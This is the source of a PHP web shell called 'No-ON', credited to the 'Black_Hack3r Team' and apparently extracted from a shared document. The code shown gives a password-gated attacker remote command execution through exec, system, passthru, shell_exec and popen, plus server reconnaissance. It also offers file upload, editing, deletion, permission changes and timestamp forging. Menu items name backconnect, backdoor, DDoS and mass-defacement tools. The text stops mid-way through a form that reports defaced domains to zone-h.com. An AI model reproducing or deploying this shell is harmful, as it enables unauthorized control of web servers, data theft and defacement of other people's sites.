Sie sind auf Seite 1von 68

<?

php

$auth_pass = "nano"; // Put your password here.


@session_start();
function Login() {
die("
<title>No-ON</title>
<form method=post>
<label for=pass>Password: </label><input type=password name=pass><input
type=submit value='>>'>
</form>");
}
if(!isset($_SESSION[$_SERVER['HTTP_HOST']]))
if( empty($auth_pass) || ( isset($_POST['pass']) && ($_POST['pass'] ==
$auth_pass) ) )
$_SESSION[$_SERVER['HTTP_HOST']] = true;
else
Login();

//Coded By No-ON ~ Black_Hack3r Team


$db = "";
ob_start();
if(!isset($_GET['action']) or $_GET['action']==""){

header("location: ?action=explorer");

}
if(isset($_GET["hiddenshell"])){

exit;}
if(ini_get("safe_mode")=="1"){
$safemode="<font>ON</font>";
} else{
$safemode="<font>OFF</font>";
}
if(ini_get("disable_functions")==""){
$disable_functions="<font>NONE</font>";
} else{
$disable_functions=ini_get("disable_functions");
}
if(!function_exists('posix_getegid'))
{
$gid = @getmygid();
$group = "?";
} else
{
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$group = $gid['name'];
$gid = $gid['gid'];
}

//Start

$on="<font> ON </font>";
$of="<font> OFF </font>";
$none="<font> NONE </font>";
if(function_exists('curl_version'))
$curl=$on;
else
$curl=$of;
if(function_exists('mysql_get_client_info'))
$mysql=$on;
else
$mysql=$of;
if(function_exists('mssql_connect'))
$mssql=$on;
else
$mssql=$of;
if(function_exists('pg_connect'))
$pg=$on;
else
$pg=$of;
if(function_exists('oci_connect'))
$or=$on;
else
$or=$of;
if(@ini_get('open_basedir'))
$open_b=@ini_get('open_basedir');
else
$open_b=$none;

//End

function magicboom($text){
if (!get_magic_quotes_gpc()){
return $text;
}
return stripslashes($text);
}

function perms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function permsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . perms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . perms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . perms(@fileperms($f)) . '</font>';
}
function size($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function extension($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("\n",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
if (strtolower(substr(PHP_OS,0,3))=="win")
$sys='win';
else
$sys='unix';
$home_path = @getcwd();
$path = @getcwd();
if($sys == 'win')
{
$home_path = str_replace("\\", "/", $home_path);
$path = str_replace("\\", "/", $path);
}

if(empty($_GET['dir'])){

$path=(dirname($_SERVER['SCRIPT_FILENAME']));
} else{
$path=(htmlspecialchars($_GET['dir']));
}

if($path[strlen($path)-1] != '/' )
$path .= '/';
$cwd_links = '';
$path1 = explode("/", $GLOBALS['path']);
$n=count($path1);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='?action=explorer&dir=";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path1[$j].'/';
$cwd_links .= "'>".$path1[$i]."/</a>";
}

$drives = "";

if (class_exists('COM')) {

foreach(range('C','Z') as $drive) {
if(is_dir($drive.':\\')){
$fso = new COM('Scripting.FileSystemObject');
$D = $fso->Drives;
$Dr = $fso->GetDrive($drive);
if ($Dr->IsReady ) {
$drives .= '<a href="?action=explorer&dir='.$drive.":".'">[ '.$drive.' ]</a> ';
}
else {
$drives .= '<a href="?action=explorer&dir='.$drive.":".'">[ CD-Rom : '.$drive.' ]
</a> ';
}
}
}

if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'),


'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'),
'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
?>
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="XXX" rel="icon" type="image/x-icon"/>
<title><?php echo $_SERVER['HTTP_HOST']; ?> - No-ON</title>
<style>
body
{
background:#1d1c1c;
color:#e3e3e3;
font-family:Tahoma;
}
h1,h2,h3,h4,h5,h6
{
margin:0px;
padding:0px;
}
a
{
text-decoration: none;
color:inherit;
}
li
{
list-style:none;
}
ul
{
padding:0px ;
margin:0px auto;
}
textarea{
border:2px solid #CE3F3F;
}
#hover tr:hover{
background-color:#CE3F3F;
}

.main
{
width:90%;
margin:0px auto;
padding:0px;
}
.logout
{
float:right;
background:#990000;
color:#FFF;
background-image:url('XXX');
padding:5px;
padding-left:20px;
background-position:2px;
background-repeat: no-repeat;

}
.description
{
width: 70%;
float: left;
margin-left:20px;
margin-top:10px;
}
.description span
{
font-size:12px;
}
.description span b
{
color:#DD4242;
}
.header
{
width: 95%;
margin-left: auto;
margin-right: auto;
}
.header h1
{
padding: 0px;
margin: 0px;
text-align: center;
border-bottom: 3px solid #A81F1F;
}
.clear
{
clear: both;
}

.menu
{

margin-top:10px;
}
.menu ul
{

width:95%;
margin-left:3%;

}
.menu ul li:last-child
{
border-right:none;
}
.menu ul li
{
border-top: 3px solid #A81F1F;
background-color:#ce3f3f;
text-align:center;
float:left;
border-right:3px solid #a81f1f;
padding:10px 0px;
width:8%;
font-size:12px;

}
.content-box
{
font-size:13px;
background-color:#2D2D2D;
margin-top:10px;
width:94%;
margin-left:auto;
margin-right:auto;
}
.box-main-box
{
padding:10px;
overflow-x:hidden;
}
.content-box table
{
text-align: left;
}
.content-box table tr th
{
color:#BE5757;
}
.content-box table tr:nth-child(2n)
{
background-color:#464444;
}
.box-box
{
float:left;

width:45%;
margin-top:10px;
padding:5px;
}
.box-box .title
{
color:#BE5757;
border-bottom:2px solid #BE5757;
padding-bottom:3px;
float:left;
margin-bottom: 10px;
}
input[type="file"],input[type=text]
{
border-radius: 3px;
padding:2px;
color: black;
}

input[type=submit],input[type=reset]
{
background-color: #E44242;
color: #FFF;
border: none;
padding: 5px;
border-radius: 3px;
margin-left:5px;
cursor: pointer;
}
input[type=button] {
background-color: #E44242;
color: #FFF;
border: none;
padding: 5px;
border-radius: 3px;
margin-left:5px;
cursor: pointer;
}
.info-file-info li
{
background:rgb(152, 134, 109);
float:left;
margin-right:10px;
padding:5px;
}
.info-file-info li.active
{
background:rgb(163, 95, 95);
}
.syms td{
border:1px solid #A81F1F;
}
.syms tr:hover{
background: #646464;
}
textarea{
padding:10px 10px;
background-color:#ddd;
}
.backdoor li{
background-color: #CE3F3F;
text-align: center;
border: 1px solid #A81F1F;
padding: 10px 0px;
font-size: 12px;
}
.backdoor a li{
color:white;
}
.backdoor li{
color:black;
}
</style>

</head>
<body>
<div class="main">
<div class="header">
<h1>No-ON <span style="font-size: 12px; color: #CE3F3F;">By No-ON</span></h1>

<div class="description">
<span style=""><b>Server IP : </b> <?php echo $_SERVER['SERVER_ADDR']; ?
></span>
<span style=""><b>Your IP : </b> <?php echo $_SERVER['REMOTE_ADDR']; ?
></span><br>
<span style=""><b>System : </b> <?php echo php_uname(); ?></span><br>
<span style=""><b>Software : </b> <?php echo getenv("SERVER_SOFTWARE"); ?
></span>
<span style=""><b>User: </b><?php echo get_current_user()." "; ?
></span><span>Group: <?php echo $gid ." [ $group ] ";?></span><br />
<span style=""><b>Safemode : </b><?php echo $safemode; ?></span>
<span><b>Open_Basedir : </b><?php echo $open_b;?></span><BR />
<span><b>CURL:</b><?php echo $curl; ?><span><b>MySQL:</b></span><?php echo
$mysql; ?><span><b>MsSQL:</b></span><?php echo $mssql; ?
><span><b>PostgreSQL:</b></span><?php echo $pg?><span><b>Oracle:</b></span><?php
echo $or?></span><br />
<span><b>Domains:</b></span>
<?php
if($GLOBALS['sys']=='unix')
{
$d0mains = @file("/etc/named.conf");
if(!$d0mains)
{
echo "<span>CANT READ named.conf</span>";
}
else
{
$count;
foreach($d0mains as $d0main)
{
if(@ereg("zone",$d0main))
{
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
flush();
$count++;
}
}
}
echo "<span>$count Domains</span>";
}
}
else{ echo"<span>CANT READ |Windows|</span>";}
?>
<br />
<?php
echo '<tr>
<td height="12"><span><b>Path:</b></span></td>
<td colspan="2"><span>'.$cwd_links.' <a href="?action=explorer&dir='.
$GLOBALS['home_path'].'"><font color=#DD4242 >| Home Directory |
</font></a></span></td>
</tr>';
?><br />
<span style=""><?php echo $drives; ?></span><br />
<br />
</div>
<div class="logout"><a href="?action=logout">Logout</a></div>
<div class="clear"></div>

</div>
<div class="menu">
<ul>
<li id="explorer"><a href="?action=explorer&dir=<?php echo $path ?
>">HOME</a></li>
<li id="terminal"><a href="?action=terminal&dir=<?php echo $path ?
>">TERMINAL</a></li>
<li id="eval"><a href="?action=eval&dir=<?php echo $path ?
>">EVAL</a></li>
<li id="sym"><a href="?action=sym&dir=<?php echo $path ?
>">SYMLINKER</a></li>
<li id="basedir"><a href="?action=basedir&dir=<?php echo $path ?>">OPEN
BASEDIR</a></li>
<li id="sql"><a href="?action=sql&dir=<?php echo $path ?>">SQL</a></li>
<li id="cgiashiyane"><a href="?action=cgiashiyane&dir=<?php echo
$path ?>">CGI-TELNET</a></li>
<li id="bc"><a href="?action=bc&dir=<?php echo $path ?
>">BACKCONNECT</a></li>
<li id="backdoor"><a href="?action=backdoor&dir=<?php echo $path ?
>">BACKDOOR</a></li>
<li id="othertools"><a href="?action=othertools&dir=<?php echo $path ?
>" title="Other Tools:
Zone-h Mass Deface Poster
Ddoser
SQLi Target Finder
Mass Defacer
Zipper
Fake Mail
PHP To XML
Bypass Disable Functions
Hash Cracker
PHP Info">OTHER TOOLS</a></li>
<li id="rmshell"><a href="?action=rmshell">REMOVE</a></li>
</ul>
</div>

<div class="clear"></div>
<div class="content-box">
<div class="box-main-box">
<?php

if(isset($_GET['action'])){

$action=htmlspecialchars($_GET['action']);

if($action=="explorer"){
echo "<style>#explorer{background: #A81F1F}</style>";
?>
<br />
<div class="explorer">
<?php

$files = scandir($path);
?>
<table id="hover">
<th style="min-width:300px;">Name</th><th style="width:150px;">Size</th><th
style="min-width:300px;">Modify</th><th style="width:300px;">Owner/Group<th
style="width:150px;">Permission</th><th colspan=4>Actions</th>
<?php
$directories = array();
$files_list = array();

foreach($files as $entry){
$entry_link=$path.$entry;
$entry_link= ($entry_link);
if(!is_file($entry_link)){
$directories[] = $entry;

} else {
$files_list[] = $entry;

?>

<?php
foreach($directories as $directory){
$entry_link=$path.$directory;
$entry_link= ($entry_link);
if($directory==".."){
?>
<tr><td style="min-width:300px;"><?php
$entry_link2=realpath($entry_link);
$entry_link2=str_replace("\\","/",$entry_link2);
echo "<a href=\"?
action=explorer&dir=$entry_link2\">| $directory |</a></td>";

?>
<td style="width:150px"><?php echo
(is_file($entry_link)?size(filesize($entry_link)):'dir');?></td>
<td style="min-width:300px;">

<?php echo @date('Y-m-d H:i:s',


@filemtime($GLOBALS['cwd'] . $entry_link));?>

</td>
<td style="width:300px">
<?php

$ow = @posix_getpwuid(@fileowner($entry_link));
$gr = @posix_getgrgid(@filegroup($entry_link));

echo $ow['name']?
$ow['name']:@fileowner($entry_link);
echo "/";
echo $gr['name']?
$gr['name']:@filegroup($entry_link);

?>
<td style="width:150px"><a href="?
action=ff&go=perm&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php
echo $directory;?>#down" title="Edit Permission"><?php echo
permsColor($entry_link); ?></a></td>
<td><a href="?action=ff&go=rename&file=<?php echo
urlencode($directory); ?>&dir=<?php echo $path ?>&f=<?php echo $directory;?>#down"
title="Rename">R</a></td>
<td><a href="?action=ff&go=touch&file=<?php echo
$entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $directory;?>#down"
title="Touch">T</a></td>
<td><a title="Remove" href="?action=ff&dir=<?php echo
$path?>&go=delete&f=<?php echo $entry_link ?>">X</a></td>
</tr>
<?php
}
if($directory!="." && $directory!=".."){
?>
<tr><td style="min-width:300px;"><?php

echo "<a href=\"?action=explorer&dir=$entry_link\">| $directory |</a></td>";

?>
<td style="width:150px"><?php echo (is_file($entry_link)?
size(filesize($entry_link)):'dir');?></td>
<td style="min-width:300px;">

<?php echo @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] .


$entry_link));?>

</td>
<td style="width:300px">
<?php
$ow = @posix_getpwuid(@fileowner($entry_link));
$gr = @posix_getgrgid(@filegroup($entry_link));

echo $ow['name']?$ow['name']:@fileowner($entry_link);
echo "/";
echo $gr['name']?$gr['name']:@filegroup($entry_link);

?>
<td style="width:150px"><a href="?action=ff&go=perm&file=<?php echo
$entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $directory;?>#down"
title="Edit Permission"><?php echo permsColor($entry_link); ?></a></td>
<td><a href="?action=ff&go=rename&file=<?php echo
urlencode($directory); ?>&dir=<?php echo $path ?>&f=<?php echo $directory;?>#down"
title="Rename">R</a></td>
<td><a href="?action=ff&go=touch&file=<?php echo $entry_link; ?>&dir=<?
php echo $path; ?>&f=<?php echo $directory;?>#down" title="Touch">T</a></td>
<td><a title="Remove" href="?action=ff&dir=<?php echo $path?
>&go=delete&f=<?php echo $entry_link ?>">X</a></td>
</tr>
<?php

}
}
?>

</td>
</tr>
<?php

foreach($files_list as $file_list){
$entry_link=$path.$file_list;
$entry_link= ($entry_link);

?><tr><td style="min-width:300px;"><?php
echo "<a href=\"?
action=ff&go=view&file=$entry_link&dir=$path&f=$file_list#down\">$file_list</a></td
>"
;?>
<td style="width:150px"><?php echo
(is_file($entry_link)?size(filesize($entry_link)):'dir');?></td>
<td style="min-width:300px;">

<?php echo @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] .


$entry_link));?>

</td>
<td style="width:300px">
<?php

$ow = @posix_getpwuid(@fileowner($entry_link));
$gr = @posix_getgrgid(@filegroup($entry_link));

echo $ow['name']?$ow['name']:@fileowner($entry_link);
echo "/";
echo $gr['name']?$gr['name']:@filegroup($entry_link);
?>
<td style="width:150px"><a href="?action=ff&go=perm&file=<?php echo
$entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $file_list;?>#down"><?php
echo permsColor($entry_link); ?></a></td>
<td><a title="Rename" href="?action=ff&go=rename&file=<?php echo
urlencode($file_list); ?>&dir=<?php echo $path ?>&f=<?php echo $file_list;?
>#down">R</a></td>
<td><a title="Touch" href="?action=ff&go=touch&file=<?php echo
$entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $file_list;?
>#down">T</a></td>
<td><a title="Edit" href="?action=ff&go=edit&file=<?php echo
$entry_link ?>&dir=<?php echo $path ?>&f=<?php echo $file_list;?>#down">E</a></td>
<td><a title="Download" href="?action=ff&dir=<?php echo $path?
>&go=download&file=<?php echo $entry_link; ?>">D</a></td>
<td><a title="Remove" href="?action=ff&dir=<?php echo $path?
>&go=delete&f=<?php echo $entry_link ?>">X</a></td>

</tr>
<?php
}
?>

</table>

<a name="down"></a>
<table style="float:left">
<tr>
<?php

if(!is_writable($GLOBALS['path']))
{
echo "
<style>
.dir {
background:red;
}
</style>
";
} else{
echo "
<style>
.dir{
background:#e3e3e3;
}
</style>
";
}

?>
<hr>
<div class="box-box">
<div class="title"><h3>Upload File & Execute(CMD)</h3></div>
<div class="clear"></div>
<form action="" enctype="multipart/form-data" method="POST">
<span>Select File: </span><input type="file" class="dir" name="userfile" style="
width: 238px;" /><input type="hidden" name="path" value="<?php echo $path ?>"
/><input type="hidden" value="upload" name="type" /><input type="submit"
value="Upload File" />
</form><br><br>
<form action="?action=terminal&CMD=shell#down" method="post">
<span>Terminal : </span>
<input onMouseOver="this.focus();" id="cmd" class="input
dir" type="text" name="cmd" style=" width: 238px;" value="" />
<input class="inputbutn" type="submit" value="Execute"
name="submitcmd" />

</form>
</div>
<div class="box-box">
<div class="title"><h3>File & Folder Maker</h3></div>
<div class="clear"></div>
<form action="" enctype="multipart/form-data" method="POST">
<span>Make Folder: &nbsp;</span><input type="hidden" value="makefolder" name="type"
/><input type="text" class="dir" name="namefolder" /><input type="submit"
value="Make Folder" />
</form>
<br><br>
<form action="" enctype="multipart/form-data" method="POST">
<span>Make File: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><input type="hidden"
value="makefile" name="type" /><input type="text" class="dir" name="namefile"
/><input type="submit" value="Make File" />
</form>
</div>
</tr>
</table>

<?php

if(isset($_POST['type']) && $_POST['type']=="upload"){


if(isset($_FILES['userfile'])){
$upload_dir=$_POST['path'];
$upload_file=$upload_dir."/".basename($_FILES['userfile']['name']);

if(move_uploaded_file($_FILES['userfile']['tmp_name'],$upload_file)){
echo "ok";
header("location: ?action=explorer&dir=$path");
}

}
}

if(isset($_POST['type']) && $_POST['type']=="makefolder"){

if(isset($_POST['namefolder']) && $_POST['namefolder']!=""){


$foldername=$path.$_POST['namefolder'];
if(mkdir($foldername)){
echo "ok";
header("location: ?action=explorer&dir=$path");
} else {
echo "can't be make folder";
}
} else{
echo "enter folder name";
}
}
if(isset($_POST['type']) && $_POST['type']=="makefile"){

if(isset($_POST['namefile']) && $_POST['namefile']!=""){


$fn=$_POST['namefile'];
$filename=$path.$_POST['namefile'];
if(!file_exists($filename)){
if(touch($filename)){

$fp = fopen($filename, "w");


if ($fp) {

fclose($fp);
header("location: ?action=ff&go=edit&file=$filename&dir=$path&f=$fn#down");
}

echo "ok";

} else {
header("location: ?action=ff&go=edit&file=$filename&dir=$path&f=$fn#down");
}
} else{
echo "enter file name";
}
}

?>

</div>

<?php

if($action=="ff"){

if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="download" &&


$_GET['file']!='' ){

ob_end_clean();
$_GET['file'] = urldecode($_GET['file']);
if(is_file($_GET['file']) && is_readable($_GET['file'])) {
ob_start("ob_gzhandler", 4096);

header("Content-Disposition: attachment; filename=".basename($_GET['file']));


if (function_exists("mime_content_type")) {
$type = mime_content_type($_GET['file']);
header("Content-Type: " . $type);
} else {
header("Content-Type: application/octet-stream");
}
$fp = fopen($_GET['file'], "r");
if($fp) {
while(!feof($fp))
echo fread($fp, 1024);
fclose($fp);
}
}exit;

}
ob_start();
function info(){
global $path;
echo "<ul class=\"info-file-info\">";
$f2 = (htmlspecialchars($_GET['f']));
$file2 = htmlspecialchars($_GET['file']);
echo "<a href=\"?action=ff&go=rename&file=$file2&dir=$path&f=$f2#down\"><li
class='active'>Name: ".htmlspecialchars($_GET['f'])."</li></a>";
if(!is_dir($file2)){
echo "<a href=\"?action=ff&go=view&file=$file2&dir=$path&f=$f2#down\"><li
class='active'>View: ".htmlspecialchars($_GET['f'])."</li></a>";
echo "<a href=\"?action=ff&go=edit&file=$file2&dir=$path&f=$f2#down\"><li
class='active'>Edit: ".htmlspecialchars($_GET['f'])."</li></a>";
}
echo "<a href=\"?action=ff&go=touch&file=$file2&dir=$path&f=$f2#down\"><li
class='active'>Tuoch: ".@date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] .
$file2))."</li></a>";
echo "<li>Size: ".(is_file($_GET['file'])?
size(filesize($_GET['file'])):'-')."</li>";
echo "<a href=\"?action=ff&go=perm&file=$file2&dir=$path&f=$f2#down\"><li
class='active'>Permissions: ".permsColor($_GET['file'])."</li></a>";
$ow = @posix_getpwuid(@fileowner($_GET['file']));
$gr = @posix_getgrgid(@filegroup($_GET['file']));
echo "<li>Owner/Group: ";
echo $ow['name']?$ow['name']:@fileowner($_GET['file']);
echo "/";
echo $gr['name']?$gr['name']:@filegroup($_GET['file']);
echo "</li>";
echo "</ul>";
echo "<div class=\"clear\"></div>";

}
//Coded By No-ON ~ Black_Hack3r Team
?>
<div style="text-align:left">
<?php
info();
?>
<?php
if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="rename" ){
$f3 = htmlspecialchars($_GET['f']);
$f4 = htmlspecialchars($_GET['file']);
if(isset($_POST['name'])){
$nname=$_GET['dir'].$_POST['name'];
$nn=$_POST['name'];
$oname=$_GET['dir'].$_POST['file'];
if(@rename($oname,$nname)){
header("location: ?action=ff&go=rename&dir=$path&file=$nname&f=$nn");
} else {
echo "can't rename";
}
}
?>
<a name="down"></a><br><span>Rename File:</span><form action="?
action=ff&go=rename&dir=<?php echo htmlspecialchars($path)?>&file=<?php echo
htmlspecialchars($_GET['file']);?>&f=<?php echo htmlspecialchars($_GET['f']);?
>#down" method="post"><input type=text name=name value="<?php echo
htmlspecialchars($_GET['f']);?>"><input type="hidden" name="file" value="<?php echo
htmlspecialchars($_GET['f']);?>"><input type=submit value="Rename"></form>
<?php
}
if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="view" &&
$_GET['file']!="" ){
echo '<a name="down"></a><br><span>View File:</span><pre style="border:2px solid
#CE3F3F;padding:5px;margin:0;overflow: auto;background:whitesmoke;">';

$fp = @fopen(highlight_file($_GET['file'],FALSE), 'r');

if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';

}
if(isset($_GET['go']) && isset($_GET['f']) && $_GET['go']=="delete" &&
$_GET['f']!="" ){
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_dir(@$_GET['f'])){
deleteDir(@$_GET['f']);
header("location: ?action=explorer&dir=$path");
} else {
@unlink(@$_GET['f']);

header("location: ?action=explorer&dir=$path");
}
}
if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="touch"
&& $_GET['file']!="" ){
?>
<a name=\"down\"></a><br><span>Touch: </span> <form action="?
action=ff&go=ttouch&dir=<?php echo htmlspecialchars($path) ?>&file=<?php echo
htmlspecialchars($_GET['file']);?>&f=<?php echo htmlspecialchars($_GET['f']);?
>#down" method="post">
<input type="hidden" name="f" value="<?php echo
htmlspecialchars($_GET['file']);?>" /><input type="text" name="ttouch" value="<?php
echo date("Y-m-d H:i:s", @filemtime(htmlspecialchars($_GET['file']))); ?>" /><input
type="submit" value="Touch" />
</form>
<?php

}
if(isset($_GET['go']) && isset($_POST['ttouch']) &&
$_GET['go']=="ttouch" && $_POST['ttouch']!="" ){
echo "<a name=\"down\"></a><hr><br>";
$f=$_POST['f'];
$f2=$_GET['f'];
$time = strtotime($_POST['ttouch']);
if($time) {
if(!touch($_POST['f'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';header("location: ?action=ff&go=touch&dir=$path&file=$f&f=$f2");

}
}
if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="perm" &&
$_GET['file']!="" ){
?>
<a name=\"down\"></a><br><span>Change Modify: </span> <form action="?
action=ff&go=chmod&file=<?php echo htmlspecialchars($_GET['file']);?>&f=<?php echo
htmlspecialchars($_GET['f']); ?>&dir=<?php echo htmlspecialchars($path) ?>"
method="post">
<input type="hidden" name="f" value="<?php echo
htmlspecialchars($_GET['file']);?>" /><input type="hidden" name="f2" value="<?php
echo htmlspecialchars($_GET['f']);?>" /><input type="text" name="perm" value="<?php
echo substr(sprintf('%o', fileperms(htmlspecialchars($_GET['file']))),-4);?>"
/><input type="submit" value="Change Prem" />
</form>
<?php
}
if(isset($_GET['go']) && isset($_POST['f']) && $_GET['go']=="chmod" &&
$_POST['f']!="" ){
$f=$_POST['f'];
$f2=$_POST['f2'];

if(!empty($_POST['perm']) ) {
$perms = 0;
for($i=strlen($_POST['perm'])-1;$i>=0;--$i)
$perms += (int)$_POST['perm'][$i]*pow(8, (strlen($_POST['perm'])-$i-1));
if(!@chmod($f, $perms))
echo '<font color="#FFFFFF"><b>Can\'t set permissions!</b></font>';
}
echo '<font color="#FFFFFF"><b>OK !</b></font>';
header("location: ?action=ff&go=perm&dir=$path&file=$f&f=$f2");

if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="edit" &&


$_GET['file']!="" ){
echo "<a name=\"down\"></a>";
$f=htmlspecialchars($_GET['file']);
if( !is_writable(htmlspecialchars($_GET['file']))) {
echo 'File isn\'t writeable';
exit;
}
if(!empty($_POST['etext']) ) {
$time = @filemtime(htmlspecialchars($_GET['file']));
$_POST['text'] = substr($_POST['text'],0);
$fp = @fopen(htmlspecialchars($_GET['file']),"w");
if($fp) {
@fwrite($fp,$_POST['text']);
@fclose($fp);
echo 'Saved!';
@touch($_GET['file'],$time,$time);
}
}
$ff=htmlspecialchars($_GET['file']);
$fff=htmlspecialchars($_GET['f']);
echo "<br><span>Edit File: </span><form action=\"?
action=ff&go=edit&file=$f&dir=$path&file=$ff&f=$fff#down\"
method=\"post\"><textarea name=\"text\" style=\"width:800px;height:400px\">";
$fp = @fopen($_GET['file'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value="Edit" name="etext"></form>';
}

?>

</div>
<?php

if($action=="zoneh"){
?><br />
<div class="zoneh">
<center>
<form action="?action=zoneh&submit=send&dir=<?php echo
htmlspecialchars($path) ?>" method="post">
<span>Notifier: </span><input name="defacer" size="67" id="text"
value="Black_Hack3r Team" type="text"><br />
<span>Select Hack Method: </span><select name="hackmode">
<option value="">--------SELECT--------</option>
<option value="1" >known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access through
bruteforcing</option>
<option value="20" >Remote administrative panel access through password
guessing</option>
<option value="21" >Remote administrative panel access through social
engineering</option>
<option value="22" >Attack against the administrator/user (password
stealing/sniffing)</option>
<option value="23" >Access credentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
<option value="31" >Cross-Site Scripting</option>
</select>
<br />
<span>Select The Reason: </span><select name="reason">
<option value="">--------SELECT--------</option>
<option
value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select><br />
<textarea name="domains" cols="90" rows="20" placeholder="Domains..."></textarea>
<br />
<input type="submit" value="send" />
</form>

</center>
<?php

if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="send") {

$defacer= $_REQUEST['defacer'];
$hackmode= $_REQUEST['hackmode'];
$reason= $_REQUEST['reason'];
$domains= $_REQUEST['domains'];
$domains_list=explode("\n",$domains);

if (empty($defacer))
{
die ("<center><b><font color =\"#FF0000\">You Must Fill The Notifier
Name</font></b></center>");
}
elseif($hackmode == "")
{
die("<center><b><font color =\"#FF0000\">You Must Select The
Method</b></font></center>");
}
elseif($reason == "")
{
die("<center><b><font color =\"#FF0000\">You Must Select The
Reason</b></font></center>");
}
elseif(empty($domains))
{
die("<center><b><font color =\"#FF0000\">You Must Enter The Sites
List<font></b></center>");
}

for($i=0;$i<count($domains_list);$i++) {

if(substr($domains_list[$i], 0, 4) != "http")
{
$domains_list[$i] = "http://".$domains_list[$i];
}

$postVars=array("defacer"=>$defacer,"hackmode"=>$hackmode,"reason"=>$reason,"domain
1"=>$domains_list[$i]);

$curl = curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,'http://www.zone-h.com/notify/single');
